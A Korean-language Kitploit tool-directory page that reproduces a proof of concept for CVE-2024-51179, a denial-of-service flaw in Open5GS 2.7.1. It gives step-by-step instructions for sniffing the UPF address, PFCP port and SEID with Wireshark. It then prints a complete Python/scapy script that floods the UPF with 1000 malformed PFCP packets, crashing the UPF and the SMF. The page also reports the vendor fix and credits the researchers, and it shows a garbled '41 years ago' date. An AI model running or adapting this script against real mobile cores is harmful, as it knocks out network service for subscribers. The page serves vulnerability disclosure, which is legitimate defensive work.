Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-51179 | Kitploit
도구/GitHubGitHub/lakshmirnr/cve-2024-51179
Packet Sniffing & AnalysisVulnerability AnalysisExploitationNetwork SecurityPenetration Testing
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

저장소 보기
41년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-51179 : 공격자가 만든 패킷 플러딩으로 Open5gs의 UPF/SMF를 충돌시킬 수 있음

취약점 설명

설명: Open 5GS v.2.7.1의 문제로 인해 원격 공격자가 사용자 평면 기능(UPF) 및 세션 관리 기능(SMF)과 같은 네트워크 기능 가상화(NFV)를 통해 서비스 거부를 유발할 수 있습니다. NFV 내에서 발생하는 충돌로 인해 패킷 데이터 유닛(PDU) 세션 수립 프로세스가 영향을 받습니다.

공격자는 사용자 평면 기능(UPF)의 IP 주소, PFCP 포트 및 SEID(세션 엔드포인트 식별자)를 획득한 후 악성 PFCP(패킷 전달 제어 프로토콜) 패킷을 제작하여 UPF에 플러딩할 수 있습니다. 필요한 파라미터는 공격자가 사용자 평면 트래픽에 접근할 수 있는 경우 Wireshark와 같은 도구를 사용하여 가로챌 수 있습니다.

취약점 유형: 서비스 거부(Denial of Service)

영향: 악성 패킷을 전송하면 UPF가 오류 상태가 되어 새로운 PDU 세션 수립에 영향을 줍니다. 또한 악성 PFCP 패킷의 플러딩으로 인해 SMF(세션 관리 기능)도 영향을 받아 코어 기능이 중단됩니다.

공격 재현 단계

전제 조건: 5G 코어 네트워크는 Open5GS를 코어 네트워크로, UERANSIM을 gNB(차세대 NodeB) 및 UE(사용자 장비)용 에뮬레이션 도구로 사용하여 구축되었습니다.

공격 수행 단계

  1. Open5GS 구성 요소(AMF, SMF, UPF 등)의 상태를 확인하여 Open5GS가 실행 중인지 확인합니다.
  2. UERANSIM을 사용하여 PDU 세션을 시작하고 Wireshark로 트래픽을 캡처하여 PDU 세션 수립을 확인합니다.
  3. Wireshark를 열고 사용자 평면에 사용되는 네트워크 인터페이스를 선택합니다.
  4. PFCP 패킷에 대한 디스플레이 필터를 사용하여 트래픽 캡처를 시작합니다.
  5. UERANSIM에서 PDU 세션을 시작하여 캡처에 PFCP 패킷이 표시되는지 확인합니다.
  6. Wireshark에서 캡처된 PFCP 패킷으로부터 UPF IP 주소, UPF 포트(보통 8805) 및 SEID를 찾아 기록합니다.
  7. 다음 스크립트를 사용하여 UPF에 패킷을 플러딩합니다.
root@kitploit:~
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"  
UPF_PORT = 8805  
message_type = 53  
sequence_number = 1
seid = 0x0010000000000000  
version = 1 
spare = 0
mp = 0  
s_flag = 1  
byte0 = (version << 5) | (s_flag << 2)
length = 0  
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150  
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4  
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):  
    send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
  1. Wireshark를 사용하여 네트워크 영향을 모니터링하거나 로그를 확인하여 패킷 처리의 이상 또는 실패를 관찰합니다.
  2. UERANSIM에서 새 PDU 세션 수립을 시도하여 플러딩으로 인해 수립이 실패하는지 확인합니다.

공격 후 SMF 상태

smfcurrent

악성 패킷의 Wireshark 캡처

377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

현재 상태

이 취약점은 Open5GS GitHub 페이지의 Issue #3497(https://github.com/open5gs/open5gs/issues/3497)로 문서화되었으며, Open5GS 공급업체에 보고되었습니다. 공급업체는 근본 원인을 시스템 충돌을 유발하는 메모리 해제 문제로 식별했습니다. 이후 패치가 적용되었고 코드가 업데이트되어 문제가 해결되었습니다. 업데이트된 코드는 여기에서 확인할 수 있습니다.

https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

CVE-2024-51179가 게시되었습니다.

크레딧

DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)

도구 다운로드